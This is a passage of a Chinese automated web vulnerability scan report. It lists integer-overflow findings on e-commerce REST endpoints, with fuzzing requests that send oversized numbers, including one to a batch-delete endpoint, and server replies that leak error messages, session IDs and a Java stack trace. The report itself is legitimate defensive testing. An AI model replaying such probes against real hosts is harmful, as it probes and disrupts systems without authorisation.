URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/updateGoodsOnOff
实体:	->"goodsonoff"[0]->"status" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1 Content-Length: 103

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status":
                                 999999999999999999
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:16 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (99999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@da5edc1; line: 1, column: 101]
```

变体-|2/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 104
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                "status":
                                 -99999999999999999
                }
        ]
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
```

```
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:16 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Numeric value (-9999999999999999) out of range of long (-9223372036854775808 - 9223372036854775807)
at [Source: io.netty.buffer.ByteBufInputStream@713065d8; line: 1, column: 102]
```

变体-|3/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 103
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                "status":
                                 18446744073709551617
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:16 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (18446744073709551617) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@299f5e74; line: 1, column: 101]
```

变体-|4/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 103
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "departmentid": 1670,
                 "goodsid": 105190,
                "status":
                               999999999999999999
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (99999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@29a2d501; line: 1, column: 101]
```

变体-|5/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 104
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "departmentid": 1670,
                 "goodsid": 105190,
                                  -999999999999999999
                "status":
        ]
```

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Numeric value (-9999999999999999) out of range of long (-9223372036854775808 - 9223372036854775807)
at [Source: io.netty.buffer.ByteBufInputStream@636ceaae; line: 1, column: 102]
```

变体-|6/6

差异: 参数 从以下位置进行控制: 0 至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 103
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status":
                                 18446744073709551617
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:18 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (18446744073709551617) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@4cdff089; line: 1, column: 101]
```

问题 8 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	pageNum (Parameter)
实体: 风险:	pageNum (Parameter) 可能会收集敏感的调试信息

变体-|1/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=99999999999999999999998pageSize=15&orderNo=&goodsname=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "999999999999999999"
```

变体-|2/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=-99999999999999999999999$pageSize=15&orderNo=&goodsname=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
```

```
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "-999999999999999999999"
```

变体-|3/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=4294967297&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "4294967297"
```

变体-|4/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=18446744073709551617&pageSize=15&orderNo=&goodsname=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "18446744073709551617"
```

问题 9 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsbatchDelete
实体:	->"goodsInfos"[0]->"goodsid" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 49
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
```

```
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                 "goodsid":
                                   9999999999999999
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:40 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (99999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@121c4f61; line: 1, column: 47]
```

变体-|2/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 50
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                "goodsid":
                                -999999999999999999
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:40 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (-99999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@78807dac; line: 1, column: 48]
```

变体-|3/4

差异: 参数 从以下位置进行控制: 105172 至: 4294967297

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 39
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
       "goodsInfos": [
                                                                                      "goodsid":
                                                                                                                                                                              4294967297
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:40 GMT
Content-Type: application/json
Transfer-Encoding: chunked
     "data": [
      "returnCode": 0,
                                                                                 错误代码:删除商品失败\r\n错误信
     "msq": "
 息:null\r\nStackTrace:java.lang.NullPointerException\n\tat
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsConsumer.deleteGoods(PubGoodsConsumer.java:551) \\| \verb| http://deleteGoods(PubGoodsConsumer.java:551) \\| http://deleteGoods(PubGoodsConsumer
com.suneee.scn.goods.consumer.impl.PubGoodsConsumer$$FastClassBySpringCGLIB$$1e70def5.invoke(<gen
erated>)\n\tat org.springframework.cqlib.proxy.MethodProxy.invoke(MethodProxy.java:204)\n\tat
xy.java:717) \n\tat
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.j
ava:157) \n\tat
\verb|org.springframework.transaction.interceptor.TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(TransactionInterceptor\$1.proceedWithInvocation(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(Transaction(
ctionInterceptor.java:98) \n\tat
\verb|org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAspectSupport.invokeWithinTransactionAs
sactionAspectSupport.java:262)\n\tat
org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.
iava:95) \n\tat
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.j
ava:179) \n\tat
\verb|org.springframework.aop.framework.CglibAopProxy\$DynamicAdvisedInterceptor.intercept(CglibAopProxy\$DynamicAdvisedInterceptor.intercept(CglibAopProxy\$DynamicAdvisedInterceptor.intercept(CglibAopProxy\$DynamicAdvisedInterceptor.intercept(CglibAopProxy\$DynamicAdvisedInterceptor.intercept(CglibAopProxy\$DynamicAdvisedInterceptor.intercept(CglibAopProxy\$DynamicAdvisedInterceptor.intercept(CglibAopProxy\$DynamicAdvisedInterceptor.intercept(CglibAopProxy\$DynamicAdvisedInterceptor.intercept(CglibAopProxy\$DynamicAdvisedInterceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interceptor.interc
 .iava:653)\n\tat
 \verb|com.suneee.scn.goods.consumer.impl.PubGoodsConsumer$$EnhancerBySpringCGLIB$$a54eb9fe.deleteGoods(in the constant of the co
<generated>) \n\tat
com.suneee.scn.goods.rest.impl.GoodsRestApiServiceImpl.batchDeleteGoods(GoodsRestApiServiceImpl.j
ava:1366) \n\tat com.alibaba.dubbo.common.bytecode.Wrapper25.invokeMethod(Wrapper25.java) \n\tat
\verb|com.alibaba.dubbo.rpc.proxy.javassist.JavassistProxyFactory| \verb|slower=| 1. doInvoke (JavassistProxyFactory.javassistProxyFactory)| | 1. doInvoke (JavassistProxyFactory.javassistProxyFactory)| | 1. doInvoke (JavassistProxyFactory.javassistProxyFactory)| | 1. doInvoke (JavassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxyFactory.javassistProxy
com.alibaba.dubbo.rpc.protocol.InvokerWrapper.invoke(InvokerWrapper.java:53) \n\tat
com.alibaba.dubbo.rpc.filter.ExceptionFilter.invoke(ExceptionFilter.java:64) \n\tat
```

```
\verb|com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:91) \\ \verb|ntample| \\ \verb|com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:91) \\ \verb|ntample| \\ \verb|com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:91) \\ \verb|ntample| \\ \verb|com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper.java:91) \\ \verb|ntample| \\ \verb|com.alibaba.dubbo.rpc.protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.P
 t com.alibaba.dubbo.monitor.support.MonitorFilter.invoke(MonitorFilter.java:75) \n\tat
com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:91)\n\ta
t com.alibaba.dubbo.rpc.filter.TimeoutFilter.invoke(TimeoutFilter.java:42) \n\tat
com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:91)\n\ta
